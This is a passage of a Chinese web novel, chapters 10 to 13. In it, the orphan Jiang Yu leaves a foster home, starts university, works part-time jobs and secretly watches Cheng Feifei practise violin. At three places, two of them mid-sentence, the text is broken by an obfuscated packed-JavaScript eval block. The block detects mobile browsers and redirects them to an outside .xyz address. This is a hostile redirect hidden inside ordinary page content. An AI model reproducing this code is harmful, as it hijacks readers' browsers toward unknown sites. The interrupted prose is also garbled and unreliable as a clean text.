冯惠珍勉强笑了笑:“当年你那么小一只,跟个小萝卜头似的,是福利院里所有孩子中最矮的。爸一直跟我念叨,让给你多盛饭,就怕你长不高。没想到,转眼就长这么大了!” 她示意江羽继续吃饭,又把唯一带肉的那盘菜往他跟前推了推。 “可惜啊,爸走得早,没能再见上你一面……自从你被领养以后,他天天念叨,怕你在新家不适应,怕你受委屈。后来有一年,他难得有机会去帝都开会,还专门去学校偷偷瞧了你一眼。” 江羽惊讶地抬起头,他并不知道这件事。 “回来就说,你过得特别好!在一众小朋友当中,穿着漂亮的校服,打着领结,小脸白得像一颗发光的水煮蛋。” 冯惠珍想到这番话,也被逗笑了。 “那条件,总归是咱们小渔村的福利院比不了的,他也就放心了。” 冯惠珍又深深看了一眼江羽打着绷带的胳膊:“他要是知道你后来的难处,肯定要护着你的。那家人也真是,怎么就舍得……” 江羽忽然打断她:“冯姨,谢谢您和冯老师对我的照顾。” 冯惠珍看着他,有些欲言又止。 刚要再开口,外面忽然响起拍门声,女孩的脑袋探进来:“我爸回来了!” 冯惠珍的表情瞬间僵住,再顾不上聊天,连忙拉起江羽,推着他往后院走。 江羽站在院子中央,看着她匆匆赶回大门口,搀扶着醉醺醺的丈夫进来坐下,耳边响起他声如洪钟的抱怨: “是不是那个小子又来了?你说你,咋就谁都往家里捡呢!” “小羽又不是旁人……” “不是旁人?他爹是解成坤你不知道?名声臭得很!有那么个爹,儿子能是什么好货色!我跟你说最后一次,别让我在这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861481|159447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家里见到他!” “我知道……他也没地方去,怪可怜的……” “可怜的人多了!那些被他爹坑了的街坊们不可怜?” …… 江羽走进院子角落的一间平房,关上房门,将嘈杂的吵闹声隔绝在外。 浑身的力气散去,他靠在门板上,望着漆黑的天花板出神。 有零星几道叩门声响起。 江羽打开一条门缝,冯惠珍的女儿小禾站在门外,就着缝隙递进来一个油纸包。 江羽接过来一看,是他刚刚没吃完的半个包子。包子还热着,在冰凉的室内散发着一丝微弱的香气。 他将门打开一些。 “谢谢。” 女孩看了他一眼,还没等他说完,就一阵风似的跑远了。 江羽嘴里叼着包子,关上房门,开始收拾东西。 其实也没有多少行李可收拾。 几个月前,解成坤锒铛入狱,他住的那间小破屋也被要债的乡邻占了去。 正值高考前的关键时期,江羽没地方住,琢磨了半天,想起儿时在福利院的时候,有一位老院长对自己颇为照顾,便辗转找来,想借点钱。 哪知,老院长已经病故了,他女儿一家在经营这间糖藕铺子。 冯惠珍一见到他,说什么也不让走,非留他住下,逮着机会便要回忆江羽小时候的旧事。 那些事情,江羽其实大多都记不清了。 印象最深的,反倒是离开福利院的那天。 江羽回忆着往事,很快收拾好了不多的换洗衣物。给冯惠珍留了张字条,感谢她这几个月的收留。 再出来时,院子里已经一片寂静,冯家三口人都睡了。 整座院子悄然无声,只余风送来莲藕的清香。漆黑的夜空中挂着一弯细月,没有星星。 江羽看着这月亮,记忆顺着惯性信马由缰,竟一时没有刹住车,不管不顾地冲破了自己定下的“不准回忆”的铁律,如开了闸的流水,一股脑全部涌了出来。 他不由想起,有一年,他在帝都的郊外参加夏令营,和同学悄悄逃出宿营地,跑去山谷里玩寻宝。 那天的夜空和今晚如出一辙,没有星星,不辨方向。 两个人走着走着就迷了路,在林子里转悠了一整夜,搞得狼狈不堪。直到第二天凌晨,才精疲力竭地回到营地。 刚走进去,就看到几位民警陪着妈妈守在他的帐篷前,在等他。 妈妈明显哭过,几缕头发黏在脸颊上,没有化妆。 看到他,几乎疯了一般地冲过来,将他捞进怀里。 江羽惊讶地抬起双手,安抚地拍了拍妈妈的后背。 那年他十二岁,已经是个大孩子了。被妈妈当着这么多人抱,有点害羞,想挣脱,偏又挣脱不了。 那个怀抱太紧,箍得他呼吸都困难。 很久之后,妈妈才放开他,抬起自己的袖口去擦他占满灰尘的小脸。 擦着擦着,却忽然生起气来,狠狠拧上他的耳朵,高声呵道:“我看你还敢不敢乱跑!” 江羽吱哩哇啦地讨饶,声音响彻整个营地。 不仅如此,回到家之后,江羽又被他爸狠狠收拾了一顿。罚三个月禁足,每天放学就回家,哪儿也不准去。 甚至到了高中,家里都一直有门禁,只对他一人有效,晚归则死。 此刻,江羽独自站在院子中央,背着一包行李,即将趁夜离开这个生活了一年多的小县城。 没有家人的眼泪,没有欢送的祝语,只有天边的月亮安安静静地注视着他,送上又冰冷、又温柔的抚慰。 一如他走失在树林里的时候。 只是这次,前方不会再有期待他的人。 江羽紧了紧背包的肩带,轻声带上院门,踏进晦暗的巷子。 墙角处,那只蹭了他半包泡面的流浪狗蜷缩在阴影里,看到他,立刻摇着尾巴,颠颠地迎了上来。 江羽有点惊讶,弯下腰,摸了一把狗子的头:“你怎么在这儿?” 狗子看上去十分开心,不停拱着他的手求抚摸,还时不时弯着身子去蹭他的腿,草叶黏了一裤管。 江羽逗弄着它,嘴角露出一丝苦笑:“你也没有家么?” 小家伙睁着一双圆溜溜的眼珠回望他。 江羽叹了口气,将狗头揉了个彻底,站起身,抬脚往前走。 “来吧,如果不嫌弃方便面的话。” 狗子仿佛能听懂人话一般,摇着尾巴,欢快地跟了上去。 浓白的雾气弥漫开来,一人一狗消失在湿漉漉的夜色中。 11. 11 身为拓知学院大一新生的民选班长,裴一舟自入学起,就成为了辅导员的得力干将。 尤其在军训期间,他充分发挥了刚正不阿的带头精神,把偷奸耍滑、伪造病假的破坏分子揪了个遍,一律毫不留情地上报。 其中就包括他的室友兼好哥们,项凡。 项凡为此非常委屈:“咱们班请假的人又不止我一个!” 说着,指着上铺的空床道:“这里还有个至今没露面的呢,你怎么不管!” 裴一舟托了一下眼镜,表情严峻,丝毫不为所动:“导员说了,人家是真有病。” “我看你才有病!” 项凡抓着对方的衣领,咆哮道:“你以为出卖战友就能平步青云了吗?你错了!刘邦杀了韩信,江山还不是要拱手让给项羽?” “挺新鲜的历史。”一道淡淡的调侃声自门口响起。 项凡和裴一舟齐齐转头。 只见一个高高瘦瘦的男生站在宿舍门口,背着黑色双肩包,一只胳膊上缠着绷带,吊在胸前。 看着有点病体单薄,一张脸却出尘得好看,仿佛白玉雕出来的。茶色的瞳仁泛着水亮的清润,看向人的时候,又似镀了层无机质的冷釉,令人无端觉出一丝距离感。 一身廉价的打扮,却难掩周身清湛的气质。 扭打的二人直接看呆了。 裴一舟轻咳一声,挣脱项凡的钳制,试探地问:“项羽……哦不,江羽同学是吧?” 江羽点了点头,算是打过招呼,推门走进来。 项凡上前,一胳膊将碍事的裴一舟支开,冲江羽挥挥手:“嗨,我是睡在你下铺的项凡。苍天啊,你长这样,我503室草的名头岌岌可危啊!” “放心,室草还是你的。”江羽一拍对方的肩膀,将背包放下,转头对裴一舟说:“田老师让我来找班长取所有的教材,你是班长吧?” 裴一舟谦和地笑笑,连忙翻箱倒柜地寻找开学以来下发的所有物件,一边关心道:“听说你请的病假,原来是受了外伤啊?现在好些了吗?” 江羽抬了抬打着石膏的胳膊:“除了这个,一切都好。” 项凡伸长脖子:“看着挺严重啊,怎么伤的?” 江羽埋头收拾东西:“打伤的。” 项凡摸着下巴,啧啧称奇:“看不出来啊帅哥,长这么斯文,还跟人动手呢?” 江羽停下动作,竟是思考了一瞬,沉吟道:“我也在反思,要是长得足够震慑,嗯,像室草你这样,兴许就不会挨打了吧。” 项凡:“……” 很快,裴一舟就把所有东西都找齐了,江羽打开背包,开始往里面装东西。 二人异口同声地问:“你不住寝室?” “嗯。”江羽十分自然地回答:“学校的住宿费不便宜,而且我晚上还要兼职,住寝室会打扰你们休息。” 裴一舟和项凡面面相觑。 他们可是听说,这个江羽是拿着全额奖学金进的拓知。都这样了,还要出去打工,是有多缺钱? 而且,他竟然就这样大方地将自己的窘境和盘托出。“住宿费贵”几个字,对于他们这个年纪的男孩子而言,并不是好出口的字眼。 裴一舟在江羽快要离开的时候拦住了他:“你住哪儿?我帮你提吧,你手不方便。” 项凡也支支吾吾地说:“你不在的这段日子,我们早把你当成精神室友了。以后哪怕不住寝室,你也是503的一份子。” 江羽一愣,眼睛里绽放出浅浅的笑意:“好,作为感谢,今天我请客,吃食堂。” * 时值周末,江大校园里处处充斥着不上课的轻松与悠然。 他们一行三人走在常青的林荫道上,项凡一边闪避着拥挤的人群,一边拉着江羽那只完好的胳膊,殷勤地为他四处介绍。 “那个是图书馆,看着又破又旧,据说有上百年的历史了。” “从这边过去就是咱们拓知学部,你下周来上课,就能体会到什么是癫狂的高等数学Plus版了。” 说起这个,项凡就牙疼。 “不是我说,那帮老头儿是不是真以为进拓知的都是天才,故意把数学教出了魔鬼难度?老子可是全省115名,第一回在上课的时候觉得自己像个傻子!” 他回头问江羽:“你数学怎么样?” “还可以。”江羽的口吻依旧淡淡的,“谈不上喜欢,能考好罢了。” “……” 项凡不服气道:“老子是实践派,以后不走理论,这数学谁爱学谁学去!” “你听他瞎说。”裴一舟在后面拆兄弟的台,“他对数学比谁都积极,每周按时去跟助教套磁,生怕少学了一点。” “我哪有!” 三个人你推我搡,走着走着,就来到了一片热闹的小广场上。 举目望去,广场上矗立着一长遛的横幅和展板,夸张的喷绘和各色海报横七竖八地夹在其间。 每个摊位上都架着吱哇乱叫的高音喇叭,混在一起,谱出了一首美妙的大乱炖。谁也听不清谁,倒也算平起平坐。 这是江城大学一年一度的社团招新现场。 一个打扮时髦的女生站在路口,给每一位过路的新生塞传单,轮到他们三人的时候,登时眼前一亮。 女生毫不客气地挤过项凡,冲到江羽跟前,欣喜地问:“同学,有兴趣加入吉他社吗?” 江羽摇了摇头。 女生笑眯眯的:“别急着拒绝呀,你有什么才艺吗?” 江羽又摇了摇头。 女生一听,终于找到了话头:“男孩子呀光长得帅可不行,还是要有个才艺傍身,这样才招女孩子喜欢!来我们吉他社吧,零基础也欢迎,有很厉害的老师,包教包会,学得好的,还有机会加入咱们的民谣乐队呢!” 项凡一个挺身,闪进女生和江羽之间,俨然一副保护者的姿态。 他指了指江羽吊着的手臂:“没看见啊?我哥们不、方、便。” 女生悻悻地撇了撇嘴,又把目光投向一旁的裴一舟,吓得裴一舟连连摆手:“我是学生会的,没时间参加社团活动。” “瞧他,恨不得把‘学生会’几个字焊在脑门上。” 项凡双手抱胸,站在江羽身边,对裴一舟开启嘲讽模式:“我看他跟那个叫李什么的,真是一路货色!” “什么李什么,人家是学长,也是我的上级,堂堂校学生会副主席,你放尊重点吧。” 项凡的白眼翻上天:“好大的官哦!什么副主席,我看还不如个屁!” 说曹操,曹操竟然到了。前方,李泽昱带着几个学生会的小干事,正在布置迎新艺术节的大型展板。 裴一舟连忙上前和他打招呼,打着打着,竟然也撸起袖子加入了干活的行列,徒留江羽和项凡站在原地干等着。 现场犹如一片热闹的海洋,社团们竞相招贤纳士,一波又一波热情的学长学姐过来发传单,顺带寒暄个没完。 项凡觉得,自己这位新舍友太过招人了,便拉着人躲到一处僻静的角落。 他不耐烦地看了看表,正要催促裴一舟抓紧时间,忽然瞥见身边的江羽俯下身,趴在桌子上,正在填写一张报名表。 项凡好奇地探过头。 “……爱鸟社?” 很好,江羽竟然完美避开了那些高人气社团,选择了一个超级大冷门。 冷门到,他们在人家的桌子前站了半天,硬是没意识到这也是个展台,还以为是什么存放杂物的休息区。 项凡皱着眉,去读海报上的社团介绍:“认识和保护校园里的鸟类……不是,这些鸟有什么可保护的?还怕被野猫叼走不成?” “说什么呢,这位学弟!” 不知何时,旁边突然冒出一个戴着鸟嘴发箍的女孩。女孩个子不高,一开口却声如洪钟:“爱护动物是基本公德,人人有责!” 说着,还拿出一张新的报名表,硬塞进项凡手里:“你也赶紧把这个填了,来我们爱鸟社,净化一下俗不可耐的灵魂!” 项凡捏着报名表,表情空白地看向江羽:“你为什么会参加这玩意儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861482|159447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 这时候,女生已经接过了江羽填好的表,上下扫了一眼。 “江羽同学是吗?欢迎欢迎!我叫任可心,大家以后就是同一个社团的兄弟姐妹了!” 一边说,一边笑容可掬地奉上一个纸袋。 江羽将纸袋里的长袖T恤拿出来,展开,白色的衣料上印着一只硕大的红绿金刚鹦鹉。 他转向傻了眼的项凡:“是她说,填表就送衣服。” 项凡:“……” 你到底有多穷! * 半小时后,学生会那边的活差不多告一段落。 裴一舟顶着满脑门的汗,被李泽昱拍着肩膀鼓励了一番。 他嘿嘿笑着,觉得自己刚进学生会就得到了李学长的关照,委实很幸运。 还想和李泽昱攀谈几句,却机灵地发现,学长不知怎么的,总是对着展板上的某一处出神。 裴一舟顺着李泽昱的目光看过去,在“表演者名单”上,看到了程霏霏的头像。 节目一栏则写着:小提琴独奏。 “咦?”裴一舟托了托眼镜,诧异地说:“那不是程学姐吗?” 李泽昱有些惊讶:“你认识她?” “对啊。”裴一舟不好意思地挠了挠头,“我们是一个高中的。我认识她,她不认识我。毕竟,她在我们学校,很有些名气。” 裴一舟不知道如何描述,程霏霏在他们学校可不是一般的出名。 这位赫赫有名的不良少女,几乎被所有老师当成反面教材广播宣传,连跨年级的学生都对她的事迹耳熟能详。 再加上,她长得还挺出众,明明是一张乖巧可爱的脸,却配着最出格的妆扮、大胆叛逆的言行,很难不让人对她印象深刻。 裴一舟瞥了一眼李泽昱惘然若失的眼神,结合自己在学生会听到的风言风语,忽然意识到,他似乎误入了某个八卦现场。 敏锐的政治嗅觉敦促他赶紧识趣地离开。 裴一舟刚一转身,却发现他的同学江羽站在身后,也愣怔地盯着展板上的同一处。 江羽身上套着一件崭新的白色上衣,胸前那只巨型鹦鹉鲜艳到几乎闪瞎他的眼。 不知是被这活泼的颜色衬得,还是现场的气氛实在欢腾,裴一舟竟然从这位冷冷清清的同学脸上,看到了一种可以称为“开心”的神色。 江羽就像一个刚刚从混沌梦境里醒来的人,茶色瞳孔里的冰凉介质一瞬间消失无踪。 他直直地盯着前方,嘴角缓缓扬起一抹鲜活的笑意。那笑意似一道轻盈的涟漪,沾染上这张毫无瑕疵的脸,瞬间便点燃了眼波深处的奕奕神采。 整个人如清风吹过绿野般,明快生动,意气盎然。 裴一舟瞬间有些恍惚——仿佛这种生气勃勃的潇洒,才是江羽本来的面貌。 他不禁顺着江羽的目光看过去,颇为不解地问:“你也认识程霏霏?” 江羽的声音有些轻:“程霏霏。” “嗯,程学姐的变化还真大。看来,传言说得没错,为了追求李学长,她可真是没少改变自己啊。” 江羽眼睫一顿,目光落在前方李泽昱的背影上。 裴一舟自顾自接着道:“这样看着,他们两个也算是郎才女貌,挺般配的。李学长人这么好,还是江大的学生会副主席,前途无量。这样优秀的人,难怪会招女孩子喜欢。” 江羽唇角的笑意淡了下来。 午后的阳光自头顶的林叶穿过,将他清水般的眸子染上一层柔润的亮泽,令人很难捕捉到眼底那一闪而逝的寂然。 裴一舟想到什么,玩笑地碰了碰他的肩膀:“你也不差,提前锁定系草的头衔了。以后啊肯定超受女孩子欢迎的,项凡那家伙怕是要嫉妒死。” “说我什么坏话呢!” 远处,项凡也穿着同样的鹦鹉T恤,不耐烦地催促道:“还吃不吃饭了,饿死我对你们有什么好处?” 裴一舟大笑着,一把揽上江羽的肩头,勾着他往食堂走去。 并没有留意到江羽若有所思的眼神。 12. 12 任可心将蓝牙耳机听到快没电的时候,广场上的人流才渐渐疏散,今年的招新大战正式宣告结束。 她数了数手中斩获的报名表,只有寥寥几份。 显然,她亲自设计的文化衫并没起到什么作用,没吸引来几个爱鸟人士。任可心不气馁地琢磨,明年或许可以试试别的鸟,苍鹭啊猫头鹰什么的,肯定比鹦鹉更有人气。 月上柳梢头的时候,任可心两只手提着新鲜送达的酒店外卖,用脚踹开女生寝室的门。 只见程霏霏一半身子扑在床上,另一半悬在梯子上,长长的黑发垂在床沿外,活像一只倒挂的女鬼。 吓得任可心差点将滚烫的皮蛋瘦肉粥泼上天花板。 十分钟后,两个人坐在寝室的中央,用程霏霏那个价值不菲的品牌旅行箱支起了一个勉强过得去的小饭桌。 高档酒店的菜色盛在塑料饭盒里,挤挤挨挨的,没什么卖相,但味道可比食堂的清汤寡水强太多。 程霏霏目光有点空,捧着碗,小口喝粥。 任可心盯着她包满了创可贴的左手,皱了皱眉。 她放下筷子,在自己的托特包里翻找一通,拿出今天收到的几份报名表,“唰”一下拍进程霏霏的怀里。 “干吗?”对方一脸莫名其妙。 “这些是我们爱鸟社新招到的成员,都是大一的小鲜肉,个顶个的水灵,尤其是这一个!” 任可心在几张报名表中扒拉出一份,怼到程霏霏脸前。 “这个学弟,我一眼就瞧中了,绝对符合你的审美!人呢我已经给你勾搭到了,电话号码这里写得清清楚楚,接下来,就看你自己的了。” 程霏霏一把挥开她的胳膊:“有话直说。” “我的意思是,帅哥那么多,你为什么非要在李泽昱那棵树上吊死?还为了他,辛辛苦苦练什么小提琴,把自己的手都折腾成这样!” 任可心一把握住闺蜜伤痕累累的手,语气诚恳、泪眼潸然地看着她:“霏霏,你打小就五音不全,天生吃不了音乐这碗饭,放弃是福哇!” “……” 程霏霏夹起一只虾饺,堵住了那张不中听的嘴。 她撂了筷子,环起胳膊,眉头拧成一个结,神情有点严肃:“每个人都有自己想做的事情。比如你任可心,为什么费劲吧啦地搞那个鸟社?明明都招不到几个人。” “爱鸟社。”任可心小声纠正。 觑着程霏霏的神色,她还是慢吞吞地答:“因为我的确喜欢它们啊,要不然,也不会读摄影系了。” 任可心从小的梦想,就是当一个鸟类摄影师。 “你看,你为了拍那些鸟,去读摄影。而我为了李泽昱,辛辛苦苦考来江大。现在,万里长征只剩最后一步,我只要好好练琴,顺利表白,就能得到我喜欢的人。这种事情,怎么不值得努力了?” “表白就表白嘛,干吗还要练这劳什子的小提琴?” “你不明白……”程霏霏叹了口气,筷子无意识地戳着盘子里的肠粉,“我和他之间,就是有这样一段缘分。” 想到那些画面,程霏霏心头的沮丧淡了些许,终于恢复了一点精神。 她拿起椅子上的外套,边穿边说:“时间不早了,我还要赶回教室练琴呢,你自便吧。” 临走的时候,还不忘顺走一只奶黄流沙包。 “剩下的都是黎玥爱吃的,给她留着点!” “……” * 夜幕像隐隐绰绰的纱幔,悄无声息地笼罩住整片校园。 这样美好的周末夜晚,学生们纷纷卸下了平日的紧张与忙碌,在各自的小天地里争分夺秒地享受难得的休闲时光。 宿舍区的氛围一团火热,哪怕站在楼下,也能听到源源不断的游戏和打闹声,是无忧无虑的青春的声音。 时间已经很晚,各色烧烤和奶茶外卖依然流水一般地往里送。 江羽穿着奶茶店的工作服,背着一只硕大的外送箱,从音乐学院的宿舍楼里出来。 今天是周末,他上午和下午分别有不同的兼职,到了晚上,还要负责奶茶店的外送。一刻不停地忙到现在,终于送完了最后一单。 肩膀被绷带和箱子的重量压得酸疼不已,江羽在路边的长椅上坐下,将身上的重物卸了。 仰着脖子长吁一口气,他捏了捏肿痛的肩膀,才发现额上竟然疼出了一层细密的汗。 他单手从工装口袋里拿出一只笔并一个小本子,咬开笔盖,开始记录。 本子上密密麻麻地罗列着每天的工作和时间安排;从最后一页往前翻,则记录着每天的收支。 一行一行的数字积攒起来,凑成了这些日子的打工所得。他在心里粗粗算了算,刨除房租和饭钱,这个月能够还掉多少债务。 想到生活费,江羽才恍惚地意识到,今天还没吃晚饭。 出院的时候,医生叮嘱他,大病初愈,需要好好吃饭,多补充营养。可是江羽的兼职太密集了,又常常为了赶路错过饭点,只能在公交车上匆匆啃两口包子完事。 现在的体重,甚至比刚出院那会儿还轻了不少。 江羽想,自己少吃点,下个月倒是可以给小黄那狗子买点有品质的狗粮,尝尝鲜。 那条捡来的杂毛狗,如今有了一个略随便的名字,叫作小黄。小黄日常的口粮和江羽一样糙,至今没吃过什么好东西。 下午的时候,学校旁边的宠物店搞活动,免费发放狗粮小样。项凡他们厚着脸皮蹭了好几袋,给他带了去,小黄吃得香,他们撸得也开心。 江羽读了狗粮包装上的配料表,确实很有营养,小黄吃这个,估计能把那身凹凸不平的皮毛给长齐。 等这个月结了钱,就给小黄买一袋。 江羽戏谑地想,这狗跟了他,连口吃的都要延迟满足,也是不容易。 肩上紧绷的疼痛淡了些许,他收起小本子,重新将箱子背上,举目四望…… 这是什么地方来着? 江大的校园植被丰富,占地面积很广,分东西南北好几个片区。短短几天,还不够江羽摸清楚每一个角落。 只能赌运气了,总不至于像小时候那样迷路一整夜吧? 江羽凭直觉,沿着一条看上去不那么荒凉的小路朝前走。 宿舍区煊赫的光点落在他身后,江羽抬起头,看到前方的树影里隐约透出些热闹的霓虹,这条路似乎连通着后街。 心中一轻,不由加快了脚步。 走着走着,忽然听到一阵若有似无的小提琴声从墙的那边飘过来。江羽几乎本能地停下步子,确认自己不是幻听。 他所处的位置是某栋教学楼的背面。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861483|159447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >百年的建筑散发着质朴的古韵,蜿蜒而上的藤蔓覆满暗沉的墙体。一片漆黑之中,枝叶轻轻摇摆,露出一团朦朦胧胧的光线。 江羽踏过一片齐膝高的草地,循着琴声向前走。 一楼的尽头,最里间的教室还亮着灯。 明亮的光线编织成灼目的旗帜,在茫茫黑夜中张扬地挥舞着。 他轻声靠近,越过齐肩高的窗沿,一眼看到沐浴在白炽灯光下的程霏霏。 整个人仿佛被钉在了原地,一时难以动作。 几息之后,江羽才从震惊中回神,下意识地矮身,躲进窗台下方,借着灰扑扑的墙体挡住自己的身影。 心跳得极快,江羽重新调整了一下呼吸,才小心地探出头,重新朝教室里望去。 那里只有程霏霏一个人。 她的肩上架着一台小提琴,素来垂顺的黑发绑成了高马尾。右手握着琴弓,一下一下地敲打着自己的小腿。眼神空茫地对着面前的曲谱,看上去一脸烦恼。 这萎靡不振的小表情,和几个月前第一次见面的机灵劲儿完全不一样。 江羽望着那张丧气满满的脸,情不自禁翘起唇角。 头顶的夜空灰蓝而静谧,月亮出来了,洒下清朗透彻的光。 月光穿过遮蔽的云层,像撩开了神秘面纱的少女,温柔地俯瞰着人间,照亮了少年目不转睛的眼眸,也抚过那颗寻觅了很久的、欣喜又酸胀的心。 教室里,程霏霏重新开始了她的演奏。 经过这段日子的苦练,她已经能够弹奏出相对平滑的音色了。只是偶尔的,弓弦稍有不稳,会擦出几声意外的“鸡叫”。 节奏也时急时缓,听着有点动荡不安,就像在和人吵架,设想中的浪漫旖旎那是一点也没有。 江羽斜靠在教学楼的砖墙上,无声地笑了。 近在眼前的程霏霏如此鲜活,连生气都俏皮可爱,每一帧小表情都蕴满了无穷的生命力,闪烁着令人心动的光。 江羽听到自己心底擂鼓一般的怦然。 教室里,程霏霏一曲毕,懊恼地将琴往桌上一放,价格不菲的乐器发出一阵沉闷的杂音。 她的免费小老师说,小提琴入门并不容易。她这样的新手,短期内能练成这个水平,已经相当不错了。 可程霏霏还是觉得不满意,她可是要去艺术节晚会上演奏的人! 今天下午,她特意去广场上溜达了一圈,将展板上的名字挨个看了一遍。 看完之后脸都黑了,那些人,个顶个的身怀绝技。按照自己目前这三脚猫的功夫,她很可能表白不成,还要社死一遭。 想到那个场景,程霏霏心头更加烦闷。她拿起桌上的矿泉水猛灌几口,再瞟一眼手机——妈呀,都这么晚了! 飞快地将小提琴收进琴盒,程霏霏抄起外套,旋风一般地关灯锁门。 校园的主干道上已经没什么人。 程霏霏双手揣在衣兜里,耷拉着脑袋,无精打采地往回走,脑子里还在复盘那些恼人的旋律。 潮湿寒凉的风一阵阵吹过,卷起她的裙边。路灯从浓密的枝杈间伸出头,散发着柔和的光晕,将她的影子拉得无限长。 几米之外,江羽安静地缀在她身后,脚步无声。 直到她的背影进了女生宿舍的门厅,他才调转方向,悄然离开。 13. 13 下课铃响,项凡把课本“啪”的一声合上,懊恼地抓了抓早已如鸟窝一般的乱发。 他看起来如同一只炸毛的刺猬,浑身上下每个细胞都在控诉着刚刚结束的数学分析课。 发泄了一通,才回头看向后排的人:“所以,刚刚那道题,你听懂了?” 江羽已经收拾好东西,正打算走人,闻言,又重新坐下,翻出一张草稿纸,开始写写画画。 “利用零点存在定理得到有界,再利用Rolle定理反证,推出矛盾……” 江羽言简意赅,步骤讲解得十分粗略,可项凡一听便懂。 解完了这题,又兴奋地扒拉着他讲下一题。最后连裴一舟都忍不住打趣:“你再不走,可就追不上助教了。” 项凡俯在课桌上,嫌弃地摆摆手:“谁爱追谁追去,助教也不如江羽好使!” 三道题讲完,江羽看了眼时间:“不行,我打工要迟到了,剩下的回头再说。” 将草稿纸留给项凡,江羽一把拎起书包,一边往肩上背,一边冲出了教室。 项凡在身后大喊:“那我晚上去你家等你哦!” 引来旁边的女生咯咯直笑。 自从拆了绷带,江羽的左手终于重获自由,浑身说不出的轻松畅快。 他沿着校园的林荫小道飞跑,发丝扬起,步履如风,一路吸引了不少回头的目光。 几乎横跨了半个校园,江羽循着之前偶然发现的那条近路穿过后街,来到外面的商业街上。 “叮呤——” 鹿客餐厅的门铃发出清脆的音响。 黎玥从收银台后面抬起头,看到进来的人,匆匆一瞥后,又仿若未觉地垂下视线。 旁边的圆寸小哥热情地打了声招呼:“呦,小江下课啦?” “常哥下午好。” 江羽冲他的方向点了点头,径直往走廊尽头的员工更衣室走去。 “人都进去了,还看呢?” 黎玥一惊,赶紧将目光从那道清隽的背影上收回。 圆寸小哥露出一个看破不说破的笑,摸了摸自己圆滚滚的脑壳,语带失落:“唉,自从把那小子招进来,女员工的眼里就只有他,没有我咯!” “常哥。”黎玥转过脸,镜片后的眸底满是真诚,“女员工眼里本来也没你的。” “……” 常泰倒吸一口凉气——现在的大学生真是忘恩负义,前脚刚发了工资,后脚就翻脸不认他这个店长,连马屁也断供了。 “去去去,这边不用你了,看你的帅哥去吧!” 黎玥眯着一双笑眼走开了。 不一会儿,江羽就换好了服务生的衣服,从更衣室里出来。他往这边看了一眼,然后径直朝黎玥走来。 黎玥的眼皮有点跳,还没琢磨好说点什么,江羽便直接伸出手,接过了她手中的咖啡壶。 指尖蹭到手背,一触即分。 黎玥的心一阵扑腾。 清润的嗓音从头顶上方响起:“抱歉,耽误你下班了,下次我提前到。” “没关系……” 不待黎玥回答完,江羽已经大步走远,去电脑前查看客人的点单了。 黎玥这才呼出一口长气,转身进了更衣室。 再出来的时候,一时没有看到江羽的身影。 还没到晚餐时间,店里只有零星几桌客人。黎玥讪讪地抿了抿嘴,没有理由继续逗留,只能冲常哥道了声再见,便背着包出了鹿客。 她在这里打工有一段时间了。 暑假的某个夜晚,程霏霏和李泽昱共进晚餐以后,莫名就对这地方印象不错。临走的时候,看到门上贴了一则“招工启示”,转头就把消息告诉了正在找兼职的黎玥。 这里离学校近,工作轻松,待遇也好,比出去做家教省心不少。 回寝室的路上,黎玥的手机响个不停,来电人是“妈妈”。 前两通电话她都没接,直到这第三通打来,她避无可避,才咬了咬下唇,磨蹭着接起。 “玥玥啊,最近怎么样?学习还顺利吗?” “挺好的……妈,有什么事吗?” “你这孩子,我没事还不能给自己闺女打个电话了?” 黎玥没有接话。 黎母又继续道:“那个……下个月,你小侄儿就满百天了,这事你没忘吧?” 黎玥一点也不惊讶:“我给过红包了。” “那是你给的嘛。妈是想着,你不是还有很多同学朋友吗?上次妈妈去学校看你的时候,还给你室友送了酱菜呢,人家要是听说你侄儿满百天,肯定也想要礼尚往来、表示一下的对吧?” 黎玥听着这番说辞,脑子里嗡嗡的,心想这个女人怕是穷疯了。 “妈妈看人可准了,你那个室友啊一看就不是一般小孩,有钱的哩!你要好好跟人家相处,别得罪了人,知道不?” 黎玥将手机拿远,继续往宿舍走去,没再听那些叽里哇啦的唠叨。 到了寝室楼下,手机那边才渐渐消停下来,黎玥匆忙应付了几句,挂断电话。 宿舍楼的门厅里有一面落地镜。此刻,黎玥恰好站在镜子前。 镜中的少女戴着斯文的细框眼镜,打扮得很淑静。头发没有绑成惯常的马尾,而是披在肩头。仔细看的话,会发现她还上了一层淡淡的底妆,涂着柔粉色的唇釉。 不同于平日的潦草,今早她刻意将自己收拾了一番。 本来是美好的一天,偏偏被一通电话搅乱。 黎玥叹了口气,步伐沉重地上楼,推开寝室的门。 只见任可心正伏在程霏霏的书桌上,对着一台笔记本电脑,眉头紧锁。 “黎玥,你可回来了!” 